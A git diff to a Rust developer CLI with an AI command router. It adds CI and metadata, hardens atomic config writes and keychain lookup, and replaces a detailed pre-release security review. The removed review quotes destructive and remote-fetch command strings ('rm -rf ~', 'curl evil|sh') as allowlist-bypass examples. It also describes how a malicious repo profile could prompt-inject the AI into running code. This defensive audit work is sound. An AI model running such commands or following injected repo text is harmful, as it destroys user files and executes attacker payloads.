diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index a849777..26070c2 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -25,6 +25,18 @@ jobs:
       - name: Test
         run: cargo test --locked --verbose
 
+  msrv:
+    name: test (msrv 1.85.0)
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: dtolnay/rust-toolchain@1.85.0
+      - uses: Swatinem/rust-cache@v2
+      - name: Build
+        run: cargo build --locked --verbose
+      - name: Test
+        run: cargo test --locked --verbose
+
   lint:
     name: fmt & clippy
     runs-on: ubuntu-latest
diff --git a/Cargo.toml b/Cargo.toml
index ee9ce33..25344a2 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -5,6 +5,11 @@ edition = "2024"
 rust-version = "1.85"
 license = "MIT"
 description = "QuickRunner (qr) is a blazing-fast, AI-augmented developer shell helper."
+repository = "https://github.com/baanish/quick-runner"
+homepage = "https://github.com/baanish/quick-runner"
+readme = "README.md"
+keywords = ["cli", "developer-tools", "shell", "ai", "rust"]
+categories = ["command-line-utilities", "development-tools"]
 
 [[bin]]
 name = "qr"
diff --git a/README.md b/README.md
index acf7c3d..91e817e 100644
--- a/README.md
+++ b/README.md
@@ -1,11 +1,11 @@
 # QuickRunner
 
-QuickRunner (`qr`) is a fast Rust CLI for common developer shell workflows: jumping to projects, running scripts, managing aliases, scanning project roots, tracking lightweight command stats, and an AI router (`qr do`) that turns natural language into a shell command or a hand-off to a coding agent. Every config key can be overridden via `QR_` environment variables.
+QuickRunner (`qr`) is a fast Rust CLI for common developer shell workflows: jumping to projects, running scripts, managing aliases, scanning project roots, tracking lightweight command stats, and an AI router (`qr do`) that turns natural language into a shell command or a hand-off to a coding agent.
 
 ## Features
 
 - `qr go <project>` / `qr g`: fuzzy project lookup backed by a cached scanner (interactive picker on multiple matches)
-- `qr run [watch|log|output] <script>` / `qr r`: script runner with watch, log, and passthrough modes
+- `qr run [--watch|--log|--output] <script>` / `qr r`: script runner with watch, log, and passthrough modes
 - `qr alias add|list|remove` / `qr a`: shell alias management
 - `qr stats` / `qr s`: aggregated command stats from a local SQLite database
 - `qr scan` / `qr x`: manual project rescan
@@ -33,14 +33,14 @@ Run `qr config path` to print the exact location:
 
 On first run after upgrading, QuickRunner automatically migrates an existing config from the legacy location (`~/.config/qr/` on Linux, `~/Library/Application Support/qr/` on macOS) into `~/.qr/`. Set `QR_CONFIG_DIR` to override the directory (used in tests and CI).
 
-Defaults come from [`config/default.toml`](config/default.toml). Environment variables (`QR_*`) override every config key — e.g. `QR_PROJECT_ROOTS` (colon-separated), `QR_SCAN_DEPTH`, `QR_AI_MODEL`, `QR_STATS_ENABLED`; see `config/default.toml` for the full list.
+Defaults come from [`config/default.toml`](config/default.toml). Common runtime settings also have `QR_*` environment overrides for automation and CI — e.g. `QR_PROJECT_ROOTS` (colon-separated), `QR_SCAN_DEPTH`, `QR_AI_MODEL`, and `QR_STATS_ENABLED`. See [`src/config.rs`](src/config.rs) for the supported override list.
 
 ### AI key
 
-`qr do` / `qr learn` need an API key. It is resolved in this order: a custom env var (`api_key_env`), the protocol's well-known env var (`OPENAI_API_KEY` / `ANTHROPIC_API_KEY`), the `api_key` in `config.toml`, then the OS keychain. `qr init` offers to store the key in the OS keychain (recommended) so it stays out of `config.toml`.
+`qr do` needs an API key. It is resolved in this order: a custom env var (`api_key_env`), the protocol's well-known env var (`OPENAI_API_KEY` / `ANTHROPIC_API_KEY`), the `api_key` in `config.toml`, then the OS keychain. `qr init` offers to store the key in the OS keychain (recommended) so it stays out of `config.toml`. `qr learn` is local and does not make a live model call.
 
 ## Notes
 
 - The stats line is printed on `stderr`, so `qr go --print-path` keeps stdout clean for the shell wrapper's `cd`.
-- `qr do` never runs a command on a bare Enter: you must explicitly type `y`, and commands using shell features (pipes, redirection, multiple commands) get an extra warning.
+- `qr do` always previews the full AI-generated command and runs it only after `Run this command? [y/N]`; bare Enter is No.
 - Recording stats writes to SQLite on each command (best-effort — a failure never fails the command). Disable with `stats.enabled = false`.
diff --git a/docs/PRE_RELEASE_REVIEW.md b/docs/PRE_RELEASE_REVIEW.md
index ce2aa82..f9fd193 100644
--- a/docs/PRE_RELEASE_REVIEW.md
+++ b/docs/PRE_RELEASE_REVIEW.md
@@ -1,133 +1,39 @@
-# QuickRunner (`qr`) — Pre-Release Review & Hardening Plan
-
-Three independent review streams + a feature-gap pass, ~110 agents, cross-validated against a hand read of 11 of 19 source files.
-
-- **Stream 1 — Workflow:** 7-dimension review + thermo-nuclear structural lens, **88 findings each adversarially verified** (85 confirmed, 2 refuted, 1 uncertain).
-- **Stream 2 — Codex (GPT-5.5):** 3 adversarial reviewers (security / concurrency-correctness / architecture-release).
-- **Stream 3 — Thermo-nuclear:** 31 confirmed structural findings (maintainability lens).
-- **Feature subagent:** separate backlog (below).
-
-Confidence convention: items flagged by ≥2 independent streams + my own read are HIGH-CONFIDENCE.
-
-## Verdict on the architecture
-
-The **module layering is sound** — business logic lives in `lib` modules (`go`/`run`/`scanner`/`config`/`ai`/`stats_db`), dispatch is reasonably thin, and the workflow's own architecture reviewer called the layering "solid." This is a good base. It is **not yet a *stable* base**, for five cross-cutting reasons, none of which are the module graph:
-
-1. **No atomic-write primitive.** Cache, config, `.zshrc`, and profiles are all `fs::write` truncate-then-write, so any interruption or concurrent reader corrupts them.
-2. **No resilience to corrupt state.** A corrupt config bricks *every* command incl. recovery; a corrupt cache hard-fails `qr go`.
-3. **`qr do`'s security model is unsound** — the allowlist doesn't constrain what runs.
-4. **Stats are wired into the critical path** and can fail an otherwise-successful command.
-5. **`init` (250 lines of prompts/cron/file-mutation) lives in `main.rs`** — the one place that's hardest to test, and the riskiest code (dotfile + crontab mutation).
-
-Fix those five and you have the robust base you want. The rest is correctness polish, release hygiene, and maintainability.
-
----
-
-# PRIORITIZED FIX LIST
-
-## P0 — Release blockers (do not go public without these)
-
-### P0-1 — `qr do` allowlist is illusory → arbitrary shell execution  🔴 all 5 streams
-**What:** `is_command_allowed` ([do_cmd.rs:105](src/commands/do_cmd.rs:105)) checks only the first whitespace token, but `run_shell_command` ([do_cmd.rs:153](src/commands/do_cmd.rs:153)) runs the *whole* string via `/bin/sh -c`. So `git status; rm -rf ~`, `cargo x && curl evil|sh`, `find . -exec rm -rf {} +` all pass the gate. Worse, the prompt **defaults to YES on bare Enter** for allowlisted commands ([do_cmd.rs:146](src/commands/do_cmd.rs:146)), and the default allowlist ships `rm`, `find`, `git` ([config/default.toml](config/default.toml) / [config.rs:188](src/config.rs:188)). The command text is AI-generated from free-form task text **plus a repo-committed `.qr/profile.json`** ([do_cmd.rs:60](src/commands/do_cmd.rs:60),[110](src/commands/do_cmd.rs:110)) → a malicious cloned repo is a prompt-injection→code-execution vector against any contributor who runs `qr do` in it.
-**Why it matters:** The advertised safety mechanism provides essentially no guarantee. This is the single biggest risk in the codebase and directly undermines "trustworthy base."
-**Fix:** Parse with a real shell-word splitter (`shlex`) and **refuse to auto-approve** anything containing shell control operators (`; | & && || > < $() `` {} \n`) — fall through to the explicit `[y/N]` path; or exec the parsed argv directly without `/bin/sh`. Make the allowlisted prompt default to **No**. Remove `rm`/`find` from the default allowlist. Treat profile text as data, not instructions. Update the test at [do_cmd.rs:209](src/commands/do_cmd.rs:209) which currently *pins the broken behavior*.
-**Cost of deferring:** A distracted Enter — or a crafted repo — can delete files or fetch+run a remote payload, on a tool that markets the allowlist as the safety net. Reputationally and legally the worst possible launch bug.
-
-### P0-2 — No LICENSE file  🔴
-**What:** `Cargo.toml` declares `license = "MIT"` and the PRD promises MIT, but there is **no LICENSE file** ([Cargo.toml:5](Cargo.toml:5)).
-**Why:** Without it, default copyright law makes the code all-rights-reserved — nobody may legally use/fork/redistribute it, and GitHub won't detect a license.
-**Fix:** Add `LICENSE` (MIT text, correct holder/year) before flipping public.
-**Cost of deferring:** The repo is legally unusable by the people you're open-sourcing it for; fixing it post-facto with external contributions already in creates provenance ambiguity.
-
-### P0-3 — API key exposure (at-rest + cleartext + TOCTOU)  🔴
-**What:** `qr init` requires the literal key, stores it in `config.toml` ([main.rs:309](src/main.rs:309),[252](src/main.rs:252),[275](src/main.rs:275)), echoes it on screen, and applies `chmod 600` *after* `fs::write` ([main.rs:275-276](src/main.rs:275)) — a world-readable window + symlink-follow. PRD line 379 explicitly says keys are "never stored in config."
-**Why:** First-run leaks a provider secret to terminal scrollback, tmux/CI logs, and a plaintext dotfile; ships a documented security promise the code violates.
-**Fix:** Prompt for an *env-var name*, not the secret; default `api_key` empty; if storing is opt-in, create the file atomically with `OpenOptionsExt::mode(0o600)` + `create_new`, refuse symlinks, and read with a no-echo prompt (`rpassword`).
-**Cost of deferring:** Security-conscious/enterprise users (your stated audience) bounce on first run; a real secret-leakage path ships.
-
-### P0-4 — Internal artifact `.meowcode.json` is tracked  🟠
-**What:** `.meowcode.json` (internal Discord reply-routing metadata) is committed and will ship publicly.
-**Fix:** `git rm --cached .meowcode.json` + `.gitignore`; audit for other internal files.
-**Cost of deferring:** Leaks unrelated internal tooling into a repo you're presenting as a clean base.
-
-## P1 — High: stability/robustness (the "robust base" you asked for)
-
-### P1-1 — Introduce one atomic-write primitive (cache/config/rc/profile)  🔴 HIGH-CONF (4 streams)
-**What:** All state writes are truncate-then-write `fs::write` ([scanner.rs:96](src/scanner.rs:96), [shell.rs:182](src/shell.rs:182), [config.rs](src/config.rs), [project_profile.rs](src/project_profile.rs)), and follow symlinks. The live trigger: the hourly cron `qr scan` writing the cache while an interactive `qr go` reads it → `serde_json` parse error aborts the `cd`. The dangerous one: an interrupted `.zshrc` write **corrupts the user's shell startup file** (no backup).
-**Why:** Intermittent headline-command failures + potential dotfile corruption are exactly the "unstable base" symptoms.
-**Fix:** One `atomic_write(path, bytes)` = temp file in same dir → `fs::rename`; back up `.zshrc`/crontab before mutation; refuse symlink targets.
-**Cost of deferring:** Nondeterministic `qr go` failures that look like corrupted state; rare-but-catastrophic dotfile loss.
-
-### P1-2 — Resilience to corrupt config & cache  🔴 HIGH-CONF
-**What:** `AppConfig::load()?` runs for *every* command before dispatch ([main.rs:111](src/main.rs:111)), so a malformed `config.toml` makes **even `qr config path` / `qr init` fail** — no in-tool recovery. Separately, `load_or_scan_projects` only falls back on missing/empty cache, not a *corrupt* one ([scanner.rs:83](src/scanner.rs:83)) → a truncated cache (from P1-1) hard-fails `qr go` until manual deletion.
-**Fix:** Treat cache parse-failure as a cache-miss (warn→stderr, rescan, atomic rewrite). Route `qr config`/`qr config path`/`qr init` to run *without* a successful full-config load; add `qr config doctor/reset`; include the path in parse errors.
-**Cost of deferring:** One bad keystroke in the config makes the whole CLI feel bricked with no documented recovery.
-
-### P1-3 — Interactive picker is dead through the shell wrapper  🟠 HIGH-CONF (3 streams)
-**What:** The multi-match picker is gated on `stdout().is_terminal()` ([go.rs:27](src/commands/go.rs:27)), but the wrapper always runs `qr go … --print-path` inside `$(…)`, so stdout is a pipe → it falls through to a hard "Multiple matches" error. The PRD's headline fuzzy-pick feature never fires on the primary path. (Stderr discipline is otherwise correct — stats go to stderr, stdout stays path-only.)
-**Fix:** Gate on `stdin` being a TTY; drive the menu on `/dev/tty` (or stderr); keep stdout for the final path only.
-**Cost of deferring:** Every ambiguous `qr go` (common in monorepos / duplicate names) hard-errors instead of letting the user pick.
-
-### P1-4 — Stats failure turns a successful command into exit 1  🟠 HIGH-CONF
-**What:** Stats are recorded after execution with `?` ([main.rs:212-217](src/main.rs:212)); `qr do` always records (`ai_used`), and SQLite opens with **no `busy_timeout`/WAL** ([stats_db.rs:38](src/stats_db.rs:38)). Two concurrent `qr do` → `SQLITE_BUSY` → the successful command returns an error and exit 1. (Scoped: default `qr go` is unaffected since stats default off.)
-**Fix:** Make stats best-effort (log failures to stderr, never fail the command); set `busy_timeout` + WAL.
-**Cost of deferring:** Unreliable scripting semantics — a command does its work *and* reports failure under normal parallel terminal use.
-
-### P1-5 — `init` is a non-transactional multi-step mutation; picker can wreck the terminal  🟠
-**What:** `qr init` writes config → mutates `.zshrc` → mutates crontab → scans with no rollback ([main.rs:275-300](src/main.rs:275)); a mid-flow failure leaves partial state. Separately, the picker sets raw mode with **no Drop guard** ([picker.rs:16](src/picker.rs:16)) → a panic/IO error mid-selection leaves the user's shell in raw mode.
-**Fix:** Phase `init` with backups + a final state table + idempotent repair-on-rerun (pairs with P1-1). Wrap raw-mode in a guard struct whose `Drop` restores the terminal.
-**Cost of deferring:** First-run failures strand users in half-configured states; the everyday `qr go` can occasionally break the terminal.
-
-## P2 — Medium: correctness + release readiness
-
-| # | What | File | Why / Defer cost |
-|---|---|---|---|
-| P2-1 | **Scanner descends into dot-dirs** (`filter` not `filter_entry`) → detects bogus projects nested in `.git`/`node_modules`/`.config`; wastes work | [scanner.rs:47](src/scanner.rs:47) | Bogus cache entries + slow scans; existing test doesn't cover nested case. Use `WalkDir::filter_entry`. |
-| P2-2 | **`cargo test` overwrites the developer's REAL cache on macOS** — test binaries disagree on isolation var (`QR_CONFIG_DIR` vs `XDG_CONFIG_HOME`); verifier reproduced it | [tests/perf_timing.rs](tests/perf_timing.rs), [benches/common](benches/common/mod.rs) | Developer-hostile; standardize all tests/benches on `QR_CONFIG_DIR`. |
-| P2-3 | **SQLite has no migration path** (`CREATE TABLE IF NOT EXISTS` only) | [stats_db.rs:105](src/stats_db.rs:105) | Any future column strands early adopters with a permanently failing stats DB. Add `PRAGMA user_version` migrations. |
-| P2-4 | **`--print-path` contract has no pinning test** (it's `hide=true`, load-bearing) | [main.rs:466](src/main.rs:466) | A future stray `println!` silently breaks `cd`. Add a characterization test asserting stdout == path, stats on stderr. (Matches your "fortify contracts" rule.) |
-| P2-5 | **Cost is always `$0.000`** but surfaced as authoritative in `qr do` + `qr stats` | [ai/client.rs:207](src/ai/client.rs:207) | Reads as broken to first users. Either implement a per-model price table + pinned test, or remove the cost column until real. |
-| P2-6 | **Docs drift** (multiple): README config path `~/.config` vs macOS `~/Library/Application Support`; README says `qr do` is "v2/architecture-only" but it executes; PRD "key never stored" vs reality; PRD "cron installs by default" vs now-prompted; README Install omits `qr init`/shell-integration | README.md, PRD.md | First-run users misled about where secrets live and whether AI execution is active. |
-| P2-7 | **No CI / MSRV / CHANGELOG / CONTRIBUTING / SECURITY** | repo-level | No automated `build/test/clippy/fmt` gate for contributor PRs; no `rust-version=1.85` for edition-2024; no contribution process. |
-| P2-8 | **`qr run` silently eats a leading `watch`/`log`/`output` token** as a mode | [run.rs:41](src/commands/run.rs:41) | A script literally named `log` is mis-run. Make mode an explicit `--mode`/`--` flag. |
-| P2-9 | Smaller correctness: signal-killed children collapse to exit 1 (no 128+sig) [main.rs:145]; `rank_matches` mixes cased/uncased query → mixed-case fuzzy misses [go.rs:72]; alias add doesn't escape `'` → breaks/injects rc [shell.rs:16]; cron line doesn't quote the binary path [shell.rs:138]; `git_remote_name` can mis-attribute a URL / yield empty name [scanner.rs:144],[180]; `run.rs` `shell_escape` quoting bug (latent, currently unreachable) [run.rs:124] | various | Each a real edge-case bug; individually low, collectively the "rough edges" of a v1. |
-
-## P3 — Structural / maintainability (thermo-nuclear) — do during the hardening pass
-
-Mostly LOW/INFO; the point is to do them *while* touching these files for P0–P2 so the base stays clean:
-- **Move `init` + prompt/cron helpers out of `main.rs` into `commands::init`** ([main.rs:220-464](src/main.rs:220)) — the one real structural wart.
-- **One `atomic_write` + one `shell_quote` helper** (currently duplicated/divergent, one quoting impl is buggy) [run.rs:124] / [do_cmd.rs:191].
-- **Collapse `AiConfig`/`FallbackAiConfig`/`ProviderConfig`** into one via serde `flatten` ([config.rs:35](src/config.rs:35)) — removes field-by-field copying + drift risk.
-- **One `PROJECT_MARKERS` / `is_project_root`** (currently divergent across scanner.rs & project_profile.rs).
-- **Replace `__skip_stats__`/`__default__` sentinel strings** with a typed `StatsIntent`/dispatch enum ([main.rs:175](src/main.rs:175)).
-- **Table-driven `LanguageSpec`** for the 5 near-identical `detect_*_profile`/entry-point fns ([project_profile.rs:124](src/project_profile.rs:124)).
-- Single `AiProtocol::FromStr` (protocol parsing is triplicated, and rejects the `-compatible` aliases init advertises) [main.rs:363]; typed `ProjectSource` enum; remove dead `log_path` binding [main.rs:139]; one source of truth for defaults (default.toml vs `default_auto_approve`).
-
-**Refuted (don't chase these):** `create_dir_all` TOCTOU race (idempotent) and scanner symlink loops (`follow_links(false)` already set).
-
----
-
-# FEATURE BACKLOG (separate — incomplete vs missing vs needed)
-
-Headline: the **PRD v1 scope table is stale** — it marks `qr do`/`qr learn` as "❌ v2" but **both are implemented**; several of their sub-behaviors are stubbed.
-
-**Incomplete (exists but partial):**
-- Real **AI cost estimation** (hardcoded 0.0) — *must*.
-- **`qr do` delegate mode only *prints* suggestions**, never launches `codex/claude` despite the PRD `Launch? [codex/claude/n]` flow — *should*.
-- **`qr run` ignores learned profiles / `.qr.toml [commands]`** — `qr run deploy` won't resolve a project-defined script — *should*.
-- **Stale cache never auto-refreshes** — `scan_interval_hours` + `scanned_at_unix_ms` exist but `load_or_scan_projects` never checks them ([scanner.rs:83](src/scanner.rs:83)); with cron now opt-in, the cache can go stale forever — *should*.
-- NL→alias AI path; `qr learn` staleness/auto-refresh; picker pagination unreachable past 9 (rank caps at 9) — *could*.
-
-**Missing (a published CLI needs):**
-- **Shell completions** (`clap_complete`) — *must*.
-- **`qr uninstall`** (remove wrapper + cron + config; add sentinel markers to the wrapper *now* so it's removable later) — *must*.
-- **`qr config validate`** — *should*.
-- **stats reset/export + cache clear** (SQLite grows unbounded) — *should*.
-- **Privacy note** (what leaves the machine on `qr do`: task + full project profile → 3rd-party endpoint) + **Windows stance** (`/bin/sh`, `crontab`, `PermissionsExt` are unix-only) — *should*.
-- Man page; self-update — *could*.
-
-**Enhancements (to be competitive — vs zoxide/just/navi):**
-- **Frecency ranking for `qr go`** (zoxide's core value; currently pure string match) — *should*.
-- `qr go -` / recent list; **fzf-style type-to-filter picker**; `qr run --list`; project tags; `qr do --last`; spinner for `qr do`; plugin system (XL, v2+) — *could*.
-
-**Suggested v1.0 cut line:** P0 + P1 (security/stability) + the *must* features (real cost or remove it, completions, uninstall, fix scope-table drift) → a base a reviewer would confidently ship.
+# QuickRunner (`qr`) — Release Review Notes
+
+This file is an archival companion to `CHANGELOG.md`, not a live blocker list.
+The original pre-release review identified real issues, but many of the highest
+severity items have already been fixed on the current branch. Public-facing docs
+should treat those items as historical context, not present-day release blockers.
+
+## Current release sources of truth
+
+- `README.md` — shipped CLI behavior and install/config guidance
+- `CHANGELOG.md` — user-visible changes and fixes in the current release line
+- `cargo test`
+- `cargo fmt --all -- --check`
+- `cargo clippy --all-targets --locked -- -D warnings`
+
+## Historical findings that are already fixed
+
+The following items appeared in the original audit and are now resolved:
+
+- `qr do` no longer has an allow-list auto-approve path; every AI-generated
+  command is shown in full and gated by a single `Run this command? [y/N]`
+  confirmation that defaults to No.
+- The repo now ships the public release basics: `LICENSE`, `CHANGELOG`,
+  `CONTRIBUTING`, `AGENTS.md`, CI, and an explicit MSRV / `rust-version`.
+- Project cache, shell rc updates, and learned project profiles are written
+  atomically.
+- Corrupt cache/config recovery is in place for the documented recovery paths.
+- Stats recording is best-effort, with SQLite tuned so stats failures do not
+  flip a successful command into a failed one.
+- The `qr go` multi-match picker works through the shell wrapper and restores
+  the terminal correctly on exit.
+- Public docs have been updated to reflect the `~/.qr/` config location, the
+  `qr init` flow, the current `qr run` flag syntax, and the shipped `qr do`
+  confirmation model.
+
+## How to use this document
+
+Use this page as a short release-review note. For historical deep-dive audit
+details, rely on git history and the changelog entries that recorded the fixes.
diff --git a/src/ai/client.rs b/src/ai/client.rs
index 6e34c6c..e967deb 100644
--- a/src/ai/client.rs
+++ b/src/ai/client.rs
@@ -57,11 +57,11 @@ impl AiClient {
     }
 
     pub fn execute_prompt(&self, system_prompt: &str, user_message: &str) -> Result<AiResponse> {
-        match self.send_prompt(&self.primary, system_prompt, user_message) {
+        match self.send_prompt(&self.primary, "primary", system_prompt, user_message) {
             Ok(response) => Ok(response),
             Err(primary_error) => {
                 if let Some(fallback) = &self.fallback {
-                    self.send_prompt(fallback, system_prompt, user_message)
+                    self.send_prompt(fallback, "fallback", system_prompt, user_message)
                         .map_err(|fallback_error| {
                             anyhow!(
                                 "Primary provider failed: {primary_error}. Fallback provider failed: {fallback_error}"
@@ -77,10 +77,11 @@ impl AiClient {
     fn send_prompt(
         &self,
         provider: &ProviderConfig,
+        keychain_role: &str,
         system_prompt: &str,
         user_message: &str,
     ) -> Result<AiResponse> {
-        let api_key = resolve_api_key(provider)?;
+        let api_key = resolve_api_key(provider, keychain_role)?;
         let url = endpoint_url(provider);
 
         let request = match provider.protocol {
@@ -126,7 +127,7 @@ impl AiClient {
     }
 }
 
-fn resolve_api_key(provider: &ProviderConfig) -> Result<String> {
+fn resolve_api_key(provider: &ProviderConfig, keychain_role: &str) -> Result<String> {
     // 1. explicit per-provider env var (highest-precedence override)
     if !provider.api_key_env.trim().is_empty() {
         if let Ok(value) = env::var(&provider.api_key_env) {
@@ -152,8 +153,9 @@ fn resolve_api_key(provider: &ProviderConfig) -> Result<String> {
     // 4. OS keychain — where `qr init` stores the key when you opt in. Checked
     //    last because it is only populated when the key is NOT in env or config,
     //    so the common paths never touch the keychain backend.
-    let account = crate::secret::account_for(&provider.api_key_env, well_known_env);
-    if let Some(value) = crate::secret::get(&account) {
+    if let Some(value) =
+        crate::secret::get_for_role(keychain_role, &provider.api_key_env, well_known_env)
+    {
         if !value.trim().is_empty() {
             return Ok(value);
         }
@@ -437,13 +439,16 @@ mod tests {
             std::env::set_var("OPENAI_API_KEY", "well-known-token");
         }
 
-        let api_key = resolve_api_key(&ProviderConfig {
-            protocol: AiProtocol::OpenAi,
-            base_url: "https://example.test/v1".into(),
-            model: "demo".into(),
-            api_key: "config-token".into(),
-            api_key_env: "CUSTOM_QR_TEST_AI_KEY".into(),
-        })
+        let api_key = resolve_api_key(
+            &ProviderConfig {
+                protocol: AiProtocol::OpenAi,
+                base_url: "https://example.test/v1".into(),
+                model: "demo".into(),
+                api_key: "config-token".into(),
+                api_key_env: "CUSTOM_QR_TEST_AI_KEY".into(),
+            },
+            "primary",
+        )
         .unwrap();
         assert_eq!(api_key, "custom-token");
 
@@ -462,13 +467,16 @@ mod tests {
             std::env::set_var("ANTHROPIC_API_KEY", "well-known-token");
         }
 
-        let api_key = resolve_api_key(&ProviderConfig {
-            protocol: AiProtocol::Anthropic,
-            base_url: "https://example.test".into(),
-            model: "claude-demo".into(),
-            api_key: "config-token".into(),
-            api_key_env: "CUSTOM_QR_TEST_ANTHROPIC_KEY".into(),
-        })
+        let api_key = resolve_api_key(
+            &ProviderConfig {
+                protocol: AiProtocol::Anthropic,
+                base_url: "https://example.test".into(),
+                model: "claude-demo".into(),
+                api_key: "config-token".into(),
+                api_key_env: "CUSTOM_QR_TEST_ANTHROPIC_KEY".into(),
+            },
+            "primary",
+        )
         .unwrap();
         assert_eq!(api_key, "well-known-token");
 
@@ -486,13 +494,16 @@ mod tests {
             std::env::remove_var("OPENAI_API_KEY");
         }
 
-        let api_key = resolve_api_key(&ProviderConfig {
-            protocol: AiProtocol::OpenAi,
-            base_url: "https://example.test/v1".into(),
-            model: "demo".into(),
-            api_key: "config-token".into(),
-            api_key_env: "CUSTOM_QR_TEST_AI_KEY".into(),
-        })
+        let api_key = resolve_api_key(
+            &ProviderConfig {
+                protocol: AiProtocol::OpenAi,
+                base_url: "https://example.test/v1".into(),
+                model: "demo".into(),
+                api_key: "config-token".into(),
+                api_key_env: "CUSTOM_QR_TEST_AI_KEY".into(),
+            },
+            "primary",
+        )
         .unwrap();
         assert_eq!(api_key, "config-token");
     }
diff --git a/src/atomic.rs b/src/atomic.rs
index 7121a62..8018f11 100644
--- a/src/atomic.rs
+++ b/src/atomic.rs
@@ -7,6 +7,8 @@
 //! concurrently: the project cache (read by `qr go` while the hourly cron
 //! rewrites it) and the user's shell rc file (corrupting it is a 5-alarm fire).
 
+#[cfg(unix)]
+use std::os::unix::fs::{OpenOptionsExt, PermissionsExt};
 use std::{
     ffi::OsString,
     fs,
@@ -19,6 +21,21 @@ use anyhow::{Context, Result};
 
 /// Atomically replace `path` with `contents`.
 pub fn write(path: &Path, contents: &[u8]) -> Result<()> {
+    write_impl(path, contents, WriteMode::PreserveExisting)
+}
+
+/// Atomically replace `path` with `contents`, creating the file with private
+/// permissions (`0600`) from the start on Unix.
+pub fn write_private(path: &Path, contents: &[u8]) -> Result<()> {
+    write_impl(path, contents, WriteMode::Private)
+}
+
+enum WriteMode {
+    PreserveExisting,
+    Private,
+}
+
+fn write_impl(path: &Path, contents: &[u8], mode: WriteMode) -> Result<()> {
     // Follow a final symlink so we replace its target — as `fs::write` did —
     // rather than clobbering the symlink itself with a regular file. This keeps
     // dotfiles-managed symlinked rc files (e.g. `~/.zshrc` -> a versioned repo)
@@ -32,8 +49,7 @@ pub fn write(path: &Path, contents: &[u8]) -> Result<()> {
     }
 
     let tmp = temp_path(target);
-    let mut file = fs::File::create(&tmp)
-        .with_context(|| format!("Failed to create temp file {}", tmp.display()))?;
+    let mut file = create_temp_file(&tmp, &mode)?;
     let result = file.write_all(contents).and_then(|()| file.sync_all());
     drop(file);
     if let Err(error) = result {
@@ -45,12 +61,24 @@ pub fn write(path: &Path, contents: &[u8]) -> Result<()> {
     // installs a fresh inode, so without this an existing rc/config file's mode
     // (e.g. a 0600 config) would reset to the default. Fail loudly rather than
     // silently downgrade the mode.
-    if let Ok(metadata) = fs::metadata(target) {
-        if let Err(error) = fs::set_permissions(&tmp, metadata.permissions()) {
-            let _ = fs::remove_file(&tmp);
-            return Err(error).with_context(|| {
-                format!("Failed to preserve permissions on {}", target.display())
-            });
+    match mode {
+        WriteMode::PreserveExisting => {
+            if let Ok(metadata) = fs::metadata(target) {
+                if let Err(error) = fs::set_permissions(&tmp, metadata.permissions()) {
+                    let _ = fs::remove_file(&tmp);
+                    return Err(error).with_context(|| {
+                        format!("Failed to preserve permissions on {}", target.display())
+                    });
+                }
+            }
+        }
+        WriteMode::Private => {
+            #[cfg(unix)]
+            if let Err(error) = fs::set_permissions(&tmp, fs::Permissions::from_mode(0o600)) {
+                let _ = fs::remove_file(&tmp);
+                return Err(error)
+                    .with_context(|| format!("Failed to secure {}", target.display()));
+            }
         }
     }
 
@@ -61,6 +89,27 @@ pub fn write(path: &Path, contents: &[u8]) -> Result<()> {
     Ok(())
 }
 
+fn create_temp_file(path: &Path, mode: &WriteMode) -> Result<fs::File> {
+    #[cfg(unix)]
+    {
+        let mut options = fs::OpenOptions::new();
+        options.write(true).create(true).truncate(true);
+        if matches!(mode, WriteMode::Private) {
+            options.mode(0o600);
+        }
+        options
+            .open(path)
+            .with_context(|| format!("Failed to create temp file {}", path.display()))
+    }
+
+    #[cfg(not(unix))]
+    {
+        let _ = mode;
+        fs::File::create(path)
+            .with_context(|| format!("Failed to create temp file {}", path.display()))
+    }
+}
+
 /// Resolve a final symlink to its real target so an atomic replacement writes
 /// through the link (matching `fs::write`) instead of clobbering it — including a
 /// dangling symlink, whose not-yet-existing target is created rather than the
@@ -136,8 +185,6 @@ mod tests {
     #[cfg(unix)]
     #[test]
     fn write_preserves_existing_file_permissions() {
-        use std::os::unix::fs::PermissionsExt;
-
         let dir = tempfile::tempdir().unwrap();
         let path = dir.path().join("config.toml");
         write(&path, b"v1").unwrap();
@@ -149,6 +196,18 @@ mod tests {
         assert_eq!(mode, 0o600, "atomic replace must preserve the file mode");
     }
 
+    #[cfg(unix)]
+    #[test]
+    fn write_private_creates_file_with_private_permissions() {
+        let dir = tempfile::tempdir().unwrap();
+        let path = dir.path().join("config.toml");
+
+        write_private(&path, b"secret = true").unwrap();
+
+        let mode = fs::metadata(&path).unwrap().permissions().mode() & 0o777;
+        assert_eq!(mode, 0o600, "private writes must create 0600 files");
+    }
+
     #[test]
     fn concurrent_writes_to_same_path_never_interleave() {
         // Two threads writing the same target must each use a private temp file,
diff --git a/src/config.rs b/src/config.rs
index d587a86..d879a91 100644
--- a/src/config.rs
+++ b/src/config.rs
@@ -8,6 +8,7 @@ use anyhow::{Context, Result, anyhow};
 use serde::{Deserialize, Serialize};
 
 use crate::ai::providers::{AiProtocol, ProviderConfig};
+use crate::atomic;
 
 const DEFAULT_CONFIG: &str = include_str!("../config/default.toml");
 
@@ -89,18 +90,22 @@ impl AppConfig {
     }
 
     pub fn load_from_env_with_path(path: PathBuf) -> Result<Self> {
-        let mut config = if path.exists() {
-            let raw = fs::read_to_string(&path)
-                .with_context(|| format!("Failed to read config file {}", path.display()))?;
-            Self::load_from_str(&raw)?
-        } else {
-            Self::load_from_str(DEFAULT_CONFIG)?
-        };
-
+        let mut config = Self::load_file_without_env(&path)?;
         apply_env_overrides(&mut config)?;
         Ok(config)
     }
 
+    /// Parse `config.toml` on disk without applying `QR_*` env overrides.
+    pub fn load_file_without_env(path: &Path) -> Result<Self> {
+        if path.exists() {
+            let raw = fs::read_to_string(path)
+                .with_context(|| format!("Failed to read config file {}", path.display()))?;
+            Self::load_from_str(&raw)
+        } else {
+            Self::load_from_str(DEFAULT_CONFIG)
+        }
+    }
+
     pub fn ensure_parent_dirs(&self) -> Result<()> {
         for path in [self.stats_db_path(), cache_file_path(), config_file_path()] {
             if let Some(parent) = path.parent() {
@@ -267,7 +272,7 @@ fn rewrite_legacy_paths_in_config(
     };
 
     if let Some(updated) = rewrite_stats_db_path_in_toml(&raw, &new_value)? {
-        fs::write(config_path, updated)?;
+        atomic::write_private(config_path, updated.as_bytes())?;
     }
 
     Ok(())
